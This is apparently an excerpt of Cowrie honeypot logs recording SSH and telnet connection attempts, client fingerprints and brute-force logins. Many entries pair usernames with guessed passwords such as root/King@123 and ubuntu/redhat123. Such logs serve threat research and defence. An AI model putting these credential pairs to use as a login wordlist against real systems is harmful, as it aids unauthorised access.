openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:58.260103Z","src_ip":"81.30.162.19","session":"0f5427dfc607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"King@123","message":"login attempt [root/King@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:58.762434Z","src_ip":"81.30.162.19","session":"0f5427dfc607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:23:59.882876Z","src_ip":"81.30.162.19","session":"0f5427dfc607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":48613,"dst_ip":"10.17.0.5","dst_port":23,"session":"273af09e3990","protocol":"telnet","message":"New connection: 49.88.156.34:48613 (10.17.0.5:23) [session: 273af09e3990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:07.402748Z"}
{"eventid":"cowrie.session.closed","duration":120.00163745880127,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:17.021968Z","src_ip":"177.185.112.101","session":"3af227ff12fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.185.112.101","src_port":49744,"dst_ip":"10.17.0.5","dst_port":23,"session":"62147ecbad4f","protocol":"telnet","message":"New connection: 177.185.112.101:49744 (10.17.0.5:23) [session: 62147ecbad4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:20.139356Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":58136,"dst_ip":"10.17.0.5","dst_port":22,"session":"2466db38a491","protocol":"ssh","message":"New connection: 162.223.91.130:58136 (10.17.0.5:22) [session: 2466db38a491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:25.142470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:25.147919Z","src_ip":"162.223.91.130","session":"2466db38a491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:25.166913Z","src_ip":"162.223.91.130","session":"2466db38a491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat123","message":"login attempt [ubuntu/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:25.273424Z","src_ip":"162.223.91.130","session":"2466db38a491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":35370,"dst_ip":"159.203.135.109","dst_port":22,"session":"5534c959a687","protocol":"ssh","message":"New connection: 157.7.113.83:35370 (159.203.135.109:22) [session: 5534c959a687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:25.573012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:25.577988Z","src_ip":"157.7.113.83","session":"5534c959a687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:25.736021Z","src_ip":"157.7.113.83","session":"5534c959a687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.47220778465271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:26.136575Z","src_ip":"62.171.135.55","session":"1697b91a9b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:26.293943Z","src_ip":"162.223.91.130","session":"2466db38a491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx!","message":"login attempt [ubuntu/1qaz2wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:26.406176Z","src_ip":"157.7.113.83","session":"5534c959a687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:27.578480Z","src_ip":"157.7.113.83","session":"5534c959a687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50482,"dst_ip":"159.203.135.109","dst_port":22,"session":"a62e771c2da9","protocol":"ssh","message":"New connection: 159.203.92.129:50482 (159.203.135.109:22) [session: a62e771c2da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:37.327898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:37.338167Z","src_ip":"159.203.92.129","session":"a62e771c2da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:37.342792Z","src_ip":"159.203.92.129","session":"a62e771c2da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"wenjh999","message":"login attempt [ansible/wenjh999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:37.431908Z","src_ip":"159.203.92.129","session":"a62e771c2da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:38.437248Z","src_ip":"159.203.92.129","session":"a62e771c2da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112438201904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:46.093818Z","src_ip":"41.68.62.5","session":"229bf3f854a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.68.62.5","src_port":50974,"dst_ip":"159.203.135.109","dst_port":23,"session":"699f7b9db567","protocol":"telnet","message":"New connection: 41.68.62.5:50974 (159.203.135.109:23) [session: 699f7b9db567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:47.162723Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":47743,"dst_ip":"159.203.135.109","dst_port":22,"session":"a634203ea4bb","protocol":"ssh","message":"New connection: 81.30.162.19:47743 (159.203.135.109:22) [session: a634203ea4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:49.886045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:49.891755Z","src_ip":"81.30.162.19","session":"a634203ea4bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:50.010061Z","src_ip":"81.30.162.19","session":"a634203ea4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd.2025","message":"login attempt [root/Pa$$w0rd.2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:50.516621Z","src_ip":"81.30.162.19","session":"a634203ea4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:51.637490Z","src_ip":"81.30.162.19","session":"a634203ea4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.15378141403198,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:55.556423Z","src_ip":"49.88.156.34","session":"273af09e3990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00117325782776,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:24:59.163903Z","src_ip":"41.68.62.5","session":"5cb0bd897c4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.68.62.5","src_port":51932,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ca7f98ee70d","protocol":"telnet","message":"New connection: 41.68.62.5:51932 (159.203.135.109:23) [session: 1ca7f98ee70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:00.671704Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":44800,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c9dbc224c0d","protocol":"ssh","message":"New connection: 162.223.91.130:44800 (10.17.0.5:22) [session: 1c9dbc224c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:04.395894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:04.401343Z","src_ip":"162.223.91.130","session":"1c9dbc224c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:04.421926Z","src_ip":"162.223.91.130","session":"1c9dbc224c0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:04.532310Z","src_ip":"162.223.91.130","session":"1c9dbc224c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:05.554852Z","src_ip":"162.223.91.130","session":"1c9dbc224c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014877319336,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:13.157615Z","src_ip":"187.88.74.212","session":"175b0cb190bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":49756,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb1aa4da8500","protocol":"telnet","message":"New connection: 187.88.74.212:49756 (159.203.135.109:23) [session: eb1aa4da8500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:14.326538Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":49860,"dst_ip":"159.203.135.109","dst_port":23,"session":"191790848333","protocol":"telnet","message":"New connection: 187.88.74.212:49860 (159.203.135.109:23) [session: 191790848333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:15.276455Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":49782,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a695d859db3","protocol":"telnet","message":"New connection: 187.88.74.212:49782 (159.203.135.109:23) [session: 9a695d859db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:16.144114Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41934,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd45fba32d59","protocol":"ssh","message":"New connection: 159.203.92.129:41934 (159.203.135.109:22) [session: dd45fba32d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:18.179235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:18.184944Z","src_ip":"159.203.92.129","session":"dd45fba32d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:18.190069Z","src_ip":"159.203.92.129","session":"dd45fba32d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"wgkTHU123","message":"login attempt [ansible/wgkTHU123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:18.202147Z","src_ip":"159.203.92.129","session":"dd45fba32d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:19.208572Z","src_ip":"159.203.92.129","session":"dd45fba32d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":34884,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a20a125748","protocol":"ssh","message":"New connection: 157.7.113.83:34884 (159.203.135.109:22) [session: 84a20a125748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:21.413372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:25:21.417758Z","src_ip":"157.7.113.83","session":"84a20a125748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAl